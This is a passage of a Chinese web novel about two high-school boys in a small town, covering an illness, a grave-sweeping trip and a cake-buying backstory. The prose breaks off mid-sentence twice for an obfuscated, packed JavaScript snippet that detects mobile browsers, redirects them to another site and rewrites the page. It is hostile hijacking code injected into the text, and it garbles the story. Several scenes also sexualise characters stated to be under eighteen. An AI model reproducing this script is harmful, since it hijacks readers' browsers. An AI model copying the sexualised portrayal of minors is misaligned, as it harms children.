程野松开手,像条被驯服的狗,乖顺的站在他身边,完全看不出刚刚捏人的狠劲。 霍寂揉着肩膀脸色阴沉,“你来林城就认识这些不三不四的人?” 江时顿时不开心了,“什么叫不三不四的人?我看你才不三不四。霍寂,少拿在江城那套对付我,我不是宋时,宋家跟我没关系。而且,这是我最后一次跟你吃饭,以后你别来找我了。” “江时……”霍寂捂着唇低低地咳了两声,咳到最后,声音越咳越大,弯着腰,撕心裂肺。 “江时,你以为你换个地方,换个身份就能摆脱我吗?我告诉你,不可能!迟早有一天,你会来求我的,我想要的,从来就没有得不到,你会来求我,你会来……” 哗—— 一杯茶迎面兜了下来。 程野放下茶杯,站在霍寂面前,居高临下的看着他。 霍寂回神,对上程野的视线。 他看到了一种目光,那目光他见到过很多次。 从小到大,这种目光经常围绕在江时身边,再后来,这种目光出现在他眼里。 霍寂嗅到了同类的味道。 “你……” 他撑着椅子想要站起来,程野却不给他这个机会。 不到十八的男生生得高大,宽阔的肩背把霍寂完全挡住。在他面前,程野露出类似野兽的冰冷光芒。 他弯腰靠近霍寂,声音很低,只有两人听得见。 “他不会求你的。 他想要的,我都会给他。 爱情、金钱、荣誉……只要他想要,我都会给他。 他不会记得你是谁,他比谁都高贵,没谁会让他低头。 我不行,你更不行。” 程野松开手。 “对了,记住,我叫程野。” 24.第 24 章 这顿晚饭自然没吃成。 江时和程野也没赶上回家的车,两人踩着清明的第一场细雨,从学校左边的巷子口拐进去,进了家冒着烟的烧烤店。 这时候吃烧烤的人很多,老板忙得热火朝天,看见两个半大的少年进来,头也不抬,“前面有盘子,要吃什么自己拿,拿好了排队烤。” 江时双手缩在校服外套的兜里,看着脚底不知道谁弄掉的土豆片,嫌弃地往程野身后站,猫猫祟祟探出半张脑袋,“程野,我要玉米。” 程野拿了玉米。 “土豆。” “金针菇。” “四季豆。” “……” “少爷。”程野扭头低眸看他,“不吃肉吗?” 少爷看了眼肉,又移开目光,“不吃,太贵了。” 真不容易,知道省钱了。 程野拿了鸡腿,又拿了牛肉。 江时:“哎……” 程野道:“我付钱。” 江时狐疑看他,“你哪里来的钱?” 程野面不改色,“前两天打扫卫生,从陈建斌床底翻出来的。” 江时:“那你可以……” 程野知道他要说什么,不紧不慢开口,“钱不多,只够吃一顿烧烤。” 江时:“……” 总感觉哪里有问题。 可程野的钱都花在他身上,江时思来想去也没想明白哪里有问题,总不能是程野脑子傻了,白给他花钱吧? 点完菜,两人找地方坐下。 老板太忙了,上一桌吃剩的东西都没收拾。 程野把东西收拾了,一回头,江时还保持着双手插兜的动作,看他看过来,少年朝他抬了抬下巴,“还有椅子,也要擦。” 理直气壮,颐指气使。 程野忽然就笑了。 他抽出纸,给江时擦椅子,“少爷惯会使唤人。” 江时的脸被烧烤摊熏出一层浅淡的粉,粉里透白,在灯光下仿佛能发光,总有眼神往这边瞟。 他道:“你不是我保镖吗?保镖干这些不是很正常?” 程野往右边看了眼,偷看的小女生被他冰冷的眼神吓了一跳,立马收回了目光。 “是很正常,桌子要擦吗?” 江时哼哼一声。 保镖尽职尽责擦了两遍少爷才屈尊落座。 江时半边屁股坐在椅子上,瞧着自己微微辣的烧烤,终于肯把揣兜里的手拿出来。 他拿着牛肉咬了口,觉得这个辣度勉强能接受才接着往下吃。 吃了一串,没忍住问对面的程野,“你说,霍寂真的会找宋建安麻烦吗?” 江时吃两块牛肉的功夫程野已经啃了半个玉米,面对江时的疑惑,他回答道:“不会。” “啊?为什么?” 程野把竹签上的菜撸到碗里放到江时面前,“我猜的。” 因为比起宋建安,霍寂现在更倾向于找他的麻烦。 听君一席话,如听一席话。 在江时无语的眼神里,程野啃完了一个玉米,“既然已经走了,就不要多想,想再多也不会改变既定的事实。” “可是……” 程野拿着筷子点了点江时跟前的盒子,“没有可是,再不吃就冷了。我说了他不会找宋建安的麻烦,那他就不会。” 说得像他有多厉害似的,江时没忍住翻了个白眼。 程野想。 翻白眼也很可爱。 - 一整个清明都在下雨,江时回去窝在房间睡了个天荒地老,第二天被江雪抓起来上坟。 江时终于体会到了什么叫上坟如开荒。 小雨如丝往脸上扑,江时裹着雨衣,鞋上都是泥土,他脚底是长满荒草的路,往前一看,一座山接着一座山。 江雪拿着镰刀在前面开路,“你外公外婆就在前面的山上,到时候你去磕俩个头,求他们保佑你考个好大学。” 江时抹了把脸,绝望的想,这大学不考也罢。 溪柳村没有公墓这种东西,他的太爷太奶长眠于深山老林,连条路也没有,江雪能找到坟全靠记忆。 江时跟着翻了一座又一座的山,直接翻成一个小泥人,到最后两眼发直,看见坟条件反射就下跪。 最后一个是他爸的。 坟墓就在家附近的地里,背后是一颗柳树,跟前是低矮的山洼。 风一吹,柳条随风晃动。 江雪用镰刀一点点将坟上的杂草割干净,江时把袋子里装着的白纸拿出来。 “十八。”江雪道:“我带我们的亲儿子来看你了,他跟你长得很像,还好不是像我,不然多埋汰。” 薄雾蔓延开来,风将江时背后不知道什么时候刮破了道口子的雨衣吹得鼓起,少年的身影单薄沉默。 江时跪在坟前烧了纸。 毕竟从未见过,要说有感情有点假,可血缘就是一种神奇的东西,靠近这个墓,他总会心生柔软。 好像真的有个跟他五六分像的中年男人温柔注视着他。 江时没体会到父爱这种东西。 宋博是很典型的商人,商人重利,他跟孙婉云的结合也没有爱情。 他们的婚姻是场交易,巨额的钱财换取两个人一辈子的绑定。他们需要一个孩子,所以江时在计划内来到他们身边,如同一个交易诞生的产品。 没人会对产品产生感情,价值是他们衡量孩子的唯一标准。 可江雪不一样。 江雪粗俗、笨拙,无钱无势,可却有滔滔不绝的爱。 江雪给江时的爱很多,所以哪怕他没和父亲见过,也能想象出他们的相处模式。 总归是跟宋博和孙婉云不一样的。 江雪督促他,“快跟你爸磕头,让他保佑你考上大学,他在下面肯定能听见。” 江时认认真真磕了三个头,然后在心底默念:保佑江雪平安、健康、快乐。 - 回去的时候天都黑了。 江时身上的雨衣破了,人被淋了个半湿,冷得浑身发僵,嘴唇发白。 黑漆漆的门口站着个黑漆漆的人。 江雪被吓了跳,仔细一看,黑漆漆的人影是程野。 “小野?大晚上的,天都黑了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250603|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么过来了?” 程野目光从江时身上扫过,眉头皱起,“我给你们送点吃的,江姨你们上坟上到现在?” 江雪也累得不行,“好几个山头呢,路都找不到,埋的时候风水好不好不知道,可苦了我们这些后代了。” 她打开门,招呼程野进来坐,然后看了眼他手里端着的锅,盖得严严实实的,看不出是什么,“你说你,拿东西过来干什么,家里又不是没有,自己留着吃。” 程野把锅放桌子上,揭开盖子,露出里面炖得软烂的排骨,“江时喜欢,给他的。” 江时吸了吸发红的鼻子,把身上的雨衣脱下来。 他感觉自己的脑袋有些发晕,好一会才反应过来程野说什么,“哦……给我的?” 他闻了闻,不知道是鼻子坏了还是什么,没闻到什么味道,倒是排骨冷了,油脂浮在上面,看着有些腻,“油腻腻的,我不要。” 江雪:“……” 这倒霉孩子。 程野也不生气,把锅盖盖上,“冷了是这样,热了就好了。” “江姨……”他道:“烧点热水给江时洗澡,顺便熬点姜汤,他看起来不太对劲。” 仿佛是为了回应他的话,江时打了个响亮的喷嚏。 江雪着急忙慌去烧水。 江时头上搭着毛巾,跟程野坐在锅边烤火。 他吐槽,“你是不知道那个山有多难爬,路都没有,那树,我一个人都抱不过来,林子里黑黢黢的,还下着雨,被杀了尸体都找不到……” 程野说:“下次我陪你去。” 江时又打了个喷嚏。 水一热,江雪赶紧催他去洗澡。 江时洗完澡出来程野还没走,正垂着眼熬姜汤。江时屁股还没坐下,手里就多了碗散发着辛辣味道的姜汤。 他捧着碗,皱眉,“我不喝。” 程野撩了下眼皮,“打针吃药和姜汤,你选一个。” 江时:“……” 他弱弱,“以我优秀的身体素质,说不定明天它自己就痊愈了呢?” 程野:“你是说你跑两步就喘的身体素质?” 江时给他一脚。 程野拍拍裤腿上的灰,“喝吧。” “我不……” 程野垂下眼,又露出了那种不容拒绝的眼神。 江时是真的不喜欢姜汤的味道,没屈服于强者的淫威,颇有骨气的对视回去。 程野顿了顿,然后蹲下,从兜里摸出一颗奶糖,声音低低的,“少爷,喝了给你吃糖。” 江时想,他是三岁小孩吗? 程野又说:“算我求你好不好?” 男生跟个大型犬一样蹲在他脚边,明明那张俊脸上什么表情也没有,可声音拉长变软,江时诡异的读到了撒娇的感觉。 他鬼使神差地喝了口。 随即被辣得皱起眉头,张嘴正要抱怨,就听见耳边传来一声短促地笑。 “少爷好厉害。” 江时:“……” 白玉一样的耳朵迅速飘红,江时用屁股拱着板凳往另一边挪。 程野果然有病。 25.第 25 章 江时被强行灌了一大碗姜汤,结果第二天起来还是不幸中招了。 他一开始没意识到自己生病了,一觉醒来昏昏沉沉,努力睁开眼睛望旁边一看。 好家伙,柜子长脚似的晃。 江雪乒乒乓乓打扫卫生的声音从外面传来,然后停下,紧接着响起她说话的声音,“程野,你这么早过来玩啊?” “江姨。”程野道:“我来看看江时。” “江时还在睡觉呢。” “我能进去看看吗?” 两人都是男孩子,江雪没多想,“你去呗,他房间在里面。不过这孩子起床气大,你吵醒他,小心他生气跟你发火。” 江时软趴趴地缩在被子里,心想他才没有起床气。 “吱呀”一声响,门被推开一条缝,程野的声音在门边响起,“江时?” 江时想张嘴回应他,可身体不知道怎么回事,一点力气也提不起来,别说张嘴,连抬个手都费劲。 他蛄蛹了下,从嘴里挤出一声粘腻的闷哼。 这声音一听就不对劲,程野当即推门进来。 房间很暗,大红的被子如火一样燃烧,漫天的红印在眼底,显得红里面唯一的白很显眼。少年的脸如同剥了壳的荔枝,脆生生的陷在枕头上,羽睫乌黑,发丝柔软。 冲击对比太强烈,程野站在门口好久都没动。 他喉结攒动,眼底晦暗一片,直到江时又哼了一声才抬脚走过去。 他掀开被子,像拆一件新婚的礼物将人捞起来。少年身上穿了件宽松的T恤,白皙的锁骨从领口敞出来,身上带着一层汗,体温过高,肤色被捂得发粉。 触手生香。 “江时。”程野捏着江时的下颌,指尖从他下巴滑过,捻了一手滑腻的冷汗,“你发烧了,还能听到我说话吗?” 回答他的只有少年靠在颈边粘粘糊糊的哼唧声。 程野找出外套给他披上,转身把人背在背上出了门。 江雪在院子里被吓了一跳,“这是怎么了?” “江时发烧了,我送他去医院。” 江雪把手里的扫帚一丢,“你先背他去,我找钱马上过来。” 江时感觉自己像被丢进岩浆,又像丢进冰箱,一会冷,一会热的,眼皮沉得仿佛能灌铅。 好一会他才慢吞吞睁开眼,只看得见底下的路一晃一晃的。 “程……程野……”他哑着声音喊了声。 程野脚下步子不停,“你醒了?感觉怎么样?” “我……”江时咽了咽口水,“我怎么了?” “你发烧了,现在在去医院的路上。” 听完后他软趴趴的靠在程野肩膀上,一时半会没反应过来,直到到了诊所。 医生还是上次江时过敏买药的那个老头。 他让江时量了体温,把体温计对着光看了看,“有点高啊,得打针。” 江时懵懵的。 医生又朝程野道:“你去把他裤子脱了。” 江时:“??” 江时垂死病中惊坐起,一把抓住自己的裤子,“不是,干嘛要脱我裤子?” 医生埋头找药水,“当然是打针了,不脱怎么打?” 江时:“我不……” 程野按住他的肩膀,“你快四十度,挂点滴太慢,得打针。” 说着他垂下眼,挣扎间,江时身上披着的外套滑了下去,T恤陷了一角在裤子里,别出一截窄窄的腰,再往下,弧度圆润。 医生走过来,“好了没有?” 江时挣扎得更厉害了,“我不要!我的身体我清楚,我好得很,我吃药就可以。” “可以啥子哦。”医生手里的针管泛着冰冷光泽,“按着他,给他扒了,再烧下去人就傻了。” 程野坐江时旁边,伸手扣住那截腰,不知按到哪里,江时顿时软在他怀里。 腰肢塌陷,那圆润显得更加挺翘。 他另一只手搭在裤沿,指尖勾了下,不是很情愿的抬眼看医生。 医生,“看我干什么?脱啊,磨磨蹭蹭。” 程野往下拉了点,呼吸加重。 江雪才赶到门口,江时杀猪一样的叫声传了出来。 她推门进去,就看见江时两只手死死拽着自己裤子,脸上挂着红,不知道是烧的还是什么,一边骂一边踹程野。 那样子一看就是没收力的,一分钟不到,程野裤腿上灰扑扑的。 后者躲也不躲,敛着眉,不知道在想什么。 “干啥呢!干啥呢!”江雪拉开江时,“你怎么老是欺负人家程野呢,你生病还是他发现的,那么远背你来医院,你踹人家干什么?” 江时耳根都是红的,眼里泛着雾气,一半是羞的,一半是气的。 “你也不看看程野都干了什么好事,他怎么能……能……” 呜……他的屁股不清白了。 医生笑呵呵,“不就是被扒了裤子打针嘛,这哪个人没打过针?那些比你小的娃娃都不哭的。” 江雪总算明白发生了什么,她害了一声,“多大点事,屁股蛋嘛,谁没有?长得都一个样,大家都是男生,有什么好害臊的?” 江时垮着一张脸。 早知道今天早上要打针,昨天晚上程野就是哭着求他,他都不会喝那碗姜汤的。 亏了亏了。 而这一切的罪魁祸首就是程野。 江时一整天都没和程野说话,直到晚上回学校。 他烧虽然退了,但整个人没什么力气,一到宿舍倒头就睡。 再次醒来是被痒醒的。 后腰那块不知道怎么了,又麻又痒,江时伸手挠了挠,越挠越挠。 他试着扭头看了看,什么都看不见。 另外几个室友出去吃饭了,程野坐在桌子边赶江时的假期作业。 坐床上的少年飞快看了他一眼,然后又收回目光。 程野笔尖在纸上点了点,在心底默数,数到第三声的时候抓到了一道鬼鬼祟祟的目光。 他在心底笑了声,接着写作业。 果然,两分钟后,江时把怀里的被子团团团,见程野一副沉迷于学习的样子,忍不住开口了,“喂!” 程野这才抬眼。 “我……”江时刚想张嘴,后腰顿时传来一阵痒意,他顾不得说话,伸手就开始挠。 挠了两把,程野两步走到他身边,抓着他的手,“怎么了?” 江时道:“不知道,我后面好痒,你帮我看看怎么了?” 程野把他的手从衣服里抽出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15256524|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撩开T恤,看见他后腰上长满了密密麻麻的红疹。 他皱着眉,“过敏了,怎么弄的?” 江时表现得比他还茫然,“啊?过敏了?什么时候,我怎么不知道?” 程野看他腰上的样子,估计是昨天上坟碰到了什么,只是烧了一天身体虚弱感觉不到,直到现在挠出红疹才察觉到不对劲。 他把衣服放下去,“别挠了,我去买药,你在宿舍等我。” 这时候江时又想起来自己还在生气,“我自己去,不要你假好心。” 程野把他伸出来的脚捞回来塞被子里,又拉过被子给他团上,蹲在床边,“一天了,还生气呢?” 江时头发乱糟糟,下巴埋在被子里,眼尾挂着高烧没散尽的红。 “没有。” 他说。 程野说:“要不我让你看回来?” 说着他手搭在裤腰上,仿佛只要江时点头立马就能脱下来。 江时瞪圆了眼睛,“谁要看你?” 程野显得很老实,“怕你吃亏。” 江时:“……” 看了他才吃亏好吗? 他抓起枕头往程野身上砸,“你给我滚。” 程野很惋惜地滚去给他买药了,顺道还买了晚饭。 回来的时候江时又睡着了,另外四个室友在安静的看书。少年半张脸陷在枕头里,蜷缩着身体,眉头难受的皱着。 手却乖乖搭在床沿,听话的没挠。 程野扯过自己的被子挂在江时上铺的栏杆上,挡住床上的景象,跪着上了江时的床。 他低头看了会少年的脸庞,把人喊醒,然后把温水和药递过去,“把药吃了。” 江时睡得不熟,程野一叫就醒了。 他坐起来,看看挡住床的被子,又看了眼低头打开药膏的程野,没说什么,默默把药吃了。 吃完了药,江时吞吞吐吐,“我可以自己擦的……” 程野拍拍他的小枕头,“躺好。” 江时:“……” 屁股蛋都被看了,一截后腰算什么?江时自暴自弃地往枕头上一靠,闭上眼睛,不管了。 程野撩开衣服。 红的很触目惊心,白的也很触目,又窄又薄的一片。 他把膏药挤在手上,抹上那截腰。 底下的人像一条敏感的鱼,刚一碰上就打了个挺,细腰在他手底轻颤。 海浪一样在眼底晃。 程野呼吸放轻,伸手将白色膏药推开。 手底丈量出宽度,也感受出弧度,从脊背向下凹陷,然后又蜿蜒向上,拔出一截高度。 他看过那里,白玉一样的山尖,指尖按上去时还会轻晃。 “江时……” 程野哑着声音,用彝语低低说了句话。 江时扭头,“你说什么?” 程野张嘴,又说了遍。 跟念咒似的,江时无语,“能不能说人话?” 程野的掌心贴着少年白皙的腰,粗糙的指腹从上面刮过,没再回应江时的话。 搭在床边的被子将光隔绝,程野跪在江时床上,低着头,眼底映着白,神色却是暗沉的黑。 他说的是: ——小少爷,你屁股真白,看上去好骚。 50-60 第51章 汽水顺着食道滑下,江时偏头打了个小小的嗝。他坐直身体,拿了串牛肉,“我很好奇,在你眼里,我就是那种趋炎附势的人?” “不是。”程野笑了声,“在我眼里少爷很金贵。” 金贵的人自然要金贵的东西养。 “所以你就想要和我分开?” 程野现在听不得分开这两个字,“我没有要和你分开。” 江时手里的是汽水,他手里的是酒,程野仰头灌下一口,“是我没本事,我赚不了钱,但我不能叫你跟我一起受苦。” 那段时间他表现得很正常。他面上说得好听,钱没了就没了,没了钱他还能再赚,可只有程野自己知道,在那段时间里,很多个晚上他整宿都睡不着觉。 话是说得好听,可他要怎么赚?他要拿什么去赚? 他是有手有脚,可靠他这双手脚,他要搬多少砖才能买上江时的一件衣服? 金贵的人要用金贵的东西养,他没有金,也没有银,爱意和真心都不值钱,生意上的困境让程野陷入了死胡同,甚至忘了自己也才十多岁。 “我不知道我要怎么留住你。我原以为我能赚钱,我之前还狂妄的说,你想要的我都能买给你,到头来发现,我想得太简单了。” 程野不相信爱。 程建斌经常打他,他的怒气来得毫无预兆,有时候吃饭吃得好好的就拿着碗朝程野头上敲,桌子被踢翻在地上,他的脸被怼到地上的碎碗饭菜里。 他的谩骂也毫无逻辑,想到什么骂什么,程野听得最多的就是—— “还不是因为老子没钱,你妈就是个贱人,嫌我穷,要是我有钱了,她估计恨不得跪下来舔老子的臭脚,哪里还会离开。” 时间久了,在程野心底,金钱的关系远比爱维持的要长久。 没了钱,他不知道要靠什么拴住江时。 他怕他们连朋友也没得做。 他以为他伪装得很好,可没想到还是被江时发现了。 程野知道自己大抵是真的有病,他不正常,他也没发解释这种不正常。 可江时没再往下问,只是朝他歪了下头,“把你手里的酒给我喝口。” 他把酒递给江时。 夜里的风开始带着秋的凉意,江时额前的头发被风吹开,他半眯着眼。 “程野,这样的话别让我听见第二次。” 说完后,他跟猫一样缩进椅子,又恢复了以往懒散的样子,“拿去,难喝死了。” 程野笑了声,就着他喝过的地方喝了口。 老板把剩下的烧烤端在他们身边,不远处,两个家长带着孩子拿着网试图在河边捞鱼,笑声传得很远。 看着不远处的一家三口,江时开口,“我有跟你说过我以前的事吗?” 不等程野回答,他接着往下说。 “我之前的爸妈是商业联姻。其实说商业联姻有点夸张了,江城只是沿海,算不上多繁华,我们也只是做点小生意,顶多算有点钱,但不是什么豪门。” “他们这种应该叫利益结合。结婚后,他们只打算要一个小孩,其它时候各玩各的,不过他们约定好了,不会再弄出除我以外的其他孩子。” “我小时候不知道这些。在我眼里,他们太忙了,忙到只有节假日才会偶尔回来看看我。他们的感情也不好,平常说话冷淡又客气,见了我后只会询问我的功课,从不关心我的生活。” “我那时候傻傻的,以为他们感情不好是因为我太笨了,只要我聪明一点,考到他们想要的分数,他们就会变好。” “我很努力的学习,终于有次期末成绩考得还不错。” “我爸妈的确很开心,我不知道他们的感情究竟有没有变好一点,但他们给了我一个愿望。” 江时晃动着手里的易拉罐,气泡在里面沉淀,他声音平缓。 “我许了个愿望,我跟他们说,让他们回来陪我过生日。” 程野扭头看他,“那你开心吗?” 江时怔了会。 “好像也没那么开心,假的终究是假的。” “那时候我看着别的一家三口很羡慕,我以为只要他们在我身边,我们也会像我看见的一家三口那样。” 可心底没有爱,哪怕聚在一起,又怎么能一样? “好了……”程野抽掉他手里的饮料,塞了一串肉到他手里,“都过去了。” 江时被冷风吹得吸了下鼻子,没说话。 风太冷,两人没呆多久,吃完了就打道回府。离了烧烤摊,江边的夜路没了灯,黑漆漆的一片。 脚底的石头硌脚,江时走了没几步伸手拽了下程野的衣服,“我走不动了,你背我。” 在某些方面,程野称得上是任劳任怨,江时说要背,他下一秒就蹲在了他面前。 江时在心底笑了声,爬上了他的背。 程野的眼睛在晚上视力很好,哪怕是漆黑的夜路走得依旧很稳。他肘弯挂着江时的双腿,脸前迎着风,“少爷,你说,我们现在是什么关系?” 两人吵架也吵了,亲也亲了,撸也撸了,现在程野还反过来问江时是什么关系。 江时垂在半空的脚踢了下他的腰,“能是什么关系,你不是要给我当狗吗?” 程野也不生气,反而笑了声,“当狗也挺好。” “……” 不愧是你。 走着走着,背上的人没了声,程野扭头,发现江时靠在他的肩膀上睡了过去。 …… 等江时再次醒来的时候发现他已经回了宿舍,程野不在,剩下的室友都睡了,只有邱茂林打着手电筒还在看书。 见江时翻身起来,他欲言又止。 江时没察觉到他眼里的复杂神色,问他,“程野呢?” “去给你打热水了。” 这个点水房早就没了水,只能去宿管那里烧,但宿管脾气不好,一般来说不到万不得已没人会去找他。 邱茂林欲言又止,止言又欲,“江时,你知道你是怎么回来的吗?” 江时探过身子去旁边找水喝,闻言拧水杯的动作顿了下,“怎么回来的?” “是程野把你背回来的,你当时闭着眼睛,我还以为你怎么了,都打算叫救护车了,结果程野说你睡着了……” “不是,就睡着了?” 很显然,这一幕对直男造成了非常大的冲击,以至于他到现在都缓不过神来。 反正邱茂林是不会背他仅仅只是睡着的兄弟回宿舍的。 江时有些不好意思地把水杯放回原位,在邱茂林探究的眼神里,他默默躺下,拉过被子盖住脸,转身对着墙。 墙上被涂了些乱七八糟的印记,江时伸出手摸上墙,周遭黑黑的。 他看不见上面的字,可天天对着墙,哪怕现在看不见,睡了那么多天,江时早就知道哪个位置写的是什么。 他的手往下,指尖探进床板和墙壁的缝隙间,在那里,他摸到了凹凸不平的刻痕。 用小刀一笔一划刻出来的,时间过去太久,前面的名字被磨得已经辨认不清,只有后面的四个字依旧清晰: ——我喜欢你。 其实江时那次生日过得不开心不仅仅是因为父母之间的虚情假意。 除了陪他过生日这个愿望,他还许了另一个愿。 他想要父母给他买个蛋糕。当时江城只开了那么一家蛋糕店,人很多,需要排队,江时眼馋很久了。 他知道宋博和孙婉云平日里很忙,所以不敢要求他们什么,只是弱弱的哀求。 “我真的很喜欢他家的蛋糕,不一定要你们亲自买的,随便找个人也可以,只要是他家的蛋糕就行。” 宋博满不在乎地答应了,回来时拎了公司楼下蛋糕店的蛋糕。 那是江时第一次对他们发脾气,他哭得一抽一抽的,把宋博拎回来的蛋糕丢在地上砸烂了,“我只要那家的蛋糕,我跟你说过的。” 宋博很是不能理解,“宋时,你到底在闹什么?不就是一个蛋糕而已,哪里的不一样?” “不一样,根本不一样!” 孙婉云也皱着眉,“宋时,爸爸妈妈愿意回来给你过生日已经是很迁就你了,为了你,你爸推掉晚上的应酬,我也推了宴会,我们带着蛋糕回来给你庆祝,你就是这么回报我们的?” 一场好端端的生日最后闹得不欢而散。 家里请的阿姨在背后都说江时脾气大,不给他想要的蛋糕就发脾气。 其实江时早就忘了那家蛋糕的味道,他找他们买这款难买的蛋糕也只是希望他们能在他身上多花点时间。 哪怕是为了他的生日,多走点路,多排排队。 可是没有。 很小的江时明白了个道理,排队的蛋糕最难买。 程野不明白江时是怎么喜欢他的。其实在很早的时候,他就在江时心底种了颗种子。 早到连程野自己都没发觉。 蛋糕店的回忆从江时的记忆里淡去,直到某天,他在路边看到一个广告。 这么多年过去,蛋糕店做得很成功,开了连锁店。 但店在这边的省城,而林城只是一个小县城,到省城要三个小时的火车。 他看的目光有些久,程野发现了,“想吃?” “不了。”江时收回目光,很平常地走过,“太远了。” 就连十多分钟的车程都远,更何况是三个小时的火车。 但程野给他带来了。 他穿灰扑扑的旧衣服,在江时不知道的时候跨上长达三个小时的火车,排了一下午的队,在深夜带了回来。 江时以为他会哭,其实当时他什么表情都没有,脸色淡淡的,甚至还有点嫌弃。 “程野你有病吧,消失一天就为了买这个破玩意?” 他骂程野成了习惯,程野也不生气,把在车站碰掉了一个角的蛋糕放在江时面前,拿出勺子放他手里。 “你看那个广告看了好久,肯定是喜欢的。” 江时捏着勺子的力道很紧,“我看了就是喜欢?” “应该是吧,快尝尝看,店员说,这个是他们卖得最好的一款。” 江时眼皮垂下,看着蛋糕缺了一个角,问他,“你排了多久的队?” “不多,就几个小时。只是来的时候没护好,碰掉了一个角。” “你坐了一天的火车,又排了一下午的队,就为了买这么一个蛋糕?” “你喜欢就行。” 顿了顿,江时很突兀地开口,声音有些低。 “今天又不是我生日,我也没许愿。” 程野听到了,他笑出声,“不用生日,也不用许愿,你想要,什么时候都可以吃。” “哪怕很远?” “哪怕很远。” “哪怕要排很久的队?” “哪怕要排很久的队。” 咚的一下,像是有什么落进江时心底。 那个他小时候努力了很久才求来的愿望,被无情碾压后,时隔多年,在一个无风的下午,三个小时的车程,一个下午的等待…… 程野捧来了他十年前的蛋糕。 第52章 程野回来的时候江时又睡了过去。 他的睡姿很乖,侧着身子蜷缩在墙角,是一个很没安全感的姿势。 人机丘茂林也睡了,宿舍里安静一片。 程野探下腰,把江时的手从床和墙的缝隙里拿出来塞回被子里,他摸着黑倒出热水,拿着毛巾擦了擦他的脸。 夜里吹了那么久的冷风,他怕江时感冒,摸了额头后,见温度正常才回去睡觉。 王卓嘴里说要买他们游戏的不是什么小公司,正是那位殇城嘴里开发游戏的富二代朋友。 程野平时要上课,没那么多时间,很多事都是王卓在打理,但这回这个王卓显然做不了主。 上次电话后没几天,王卓又打了个电话,“程哥,那边又来找我了,他说,他可以开价到十万,你看……” 程野问他,“他有说什么时候见面?” “那边说,看你。” “那就周末,我最多只能空出三天的时间。” 时间定在这个周末的江城。 王卓和朋友一大早就起来。他们七月份刚毕业,眼看着游戏没起色,第一次创业失败的大学生灰溜溜的都老实找了个班上。 今天只有王卓休息,接人的任务就交到他身上。 他们四个人有个单独的小群,知道程野要来,忍不住在群里讨论他。 【你们说,程哥是个什么样的人啊?长什么样?】 【我看他话好少,除了工作上的事基本不和我们闲聊,一看 就成熟稳重,少说也有三十多了。】 【三十多?不可能吧,他之前还找我们学习呢。】 【说不定是人家的爱好呢,不然无缘无故的投资我们干什么?】 【而且,他愿意投资我们的项目,应该挺有钱的。】 【他不是没投多少吗,要是有钱,怎么只拿这么点?】 【得了吧,我们之前拿着企划书满世界跑的时候,别说这么点,连一分钱都没人愿意投。人家是有钱,又不是傻,投多了亏本怎么办?】 聊着聊着,他们忍不住问王卓。 【卓啊,平时就你和他交流最多,你说,他到底是个什么样的人?】 王卓很无奈。 【你们都说了,程哥这个人平日里话很少,除了工作上的事,他也不跟我聊别的。至于有没有钱……游戏一分钱都没赚到的时候,我看他挺冷静的,应该不差钱吧。年龄的话,我听他声音挺年轻的,应该就比我们大几岁。】 【行了,在这猜来猜去的,下午见到不就知道了?】 想着程野的身份,他好不容易来趟江城,王卓和朋友一合计,咬牙在酒店定了桌吃的,打算招待一下他。 就要见到名义上的老板,王卓还有些紧张,他把自己最体面的衣服拿出来,喷了发胶,提前去车站等着。 被室友洗脑成功,在等的过程里,王卓自动在脑海里脑补出一个快三十、浑身气场强大的男人形象。 终于,列车到站,王卓在人群里搜寻着这样的人,穿着西装的精英男他更是一个都没放过。 等了半天,人都快走光了,王卓还是没看到程野。 最后程野给他打了电话,“你在哪里?” 今天没太阳,冷风刮得凉飕飕的,王卓搓了搓手臂,“我就在车站门口,站在门口的那个路灯下面,怎么没看见你?” 程野道:“我看见你了,回头。” 王卓回头,不远处,长得很高的男生放下手机。 男生背上背着个包,黑衣黑裤,鞋面开了胶,衣服起着毛边,裤子洗过太多次,不但缩水,还微微发白。 他剪着一头短发,皮肤偏黑,五官带着点野性。 程野跨着包在他面前站定,“你好,程野。” 王卓久久不能回神。 他有点怀疑自己的眼睛,干巴巴地开口,“程哥?” “我比你小,不用喊哥。” “冒昧问一下,你今年多大了?” 程野说:“十八。” 王卓:“……” 难怪总没时间,这个年纪还在读书吧。 “你……” “我……” 王卓缓了半天,还是不太能消化这个事实。 “投资游戏的是你?平常跟我打电话交流的也是你?” 程野朝他颔首,没说话,给了他一个有什么问题的眼神。 有什么问题?这其中的问题可大了。 王卓苦哈哈的,“你还在读书吧?” “嗯。” 程野掏出手机,低着头给江时发短信,“这次是因为全市统考,所以我才能请三天。” 王卓:“……” 王卓不知道该说什么好,“那不会耽搁你学习吧?” “不会。”程野道:“人在哪里?” “那人约的是一家茶楼,下午两点,现在还不到一点,要不我带你先去吃饭?” 程野说:“随便吃点就行。” 他说随便就是真的随便,火车站门口的炒粉,五块钱两碗,两人捧着一次性的碗,蹲在路边的花池下,周围是来来往往的人,旁边停着拉客的摩托,走一个就在跟前掀起一阵灰尘。 王卓偏过头咳了声,不动声色往后挪了挪。 为了表达重视,他今天还把面试用的西装穿来了,西装面料没什么弹性,蹲在地上勒得他难受。 炒粉又干又素,吃得王卓流露出痛苦面具,他很久没过得这么凄凉了。 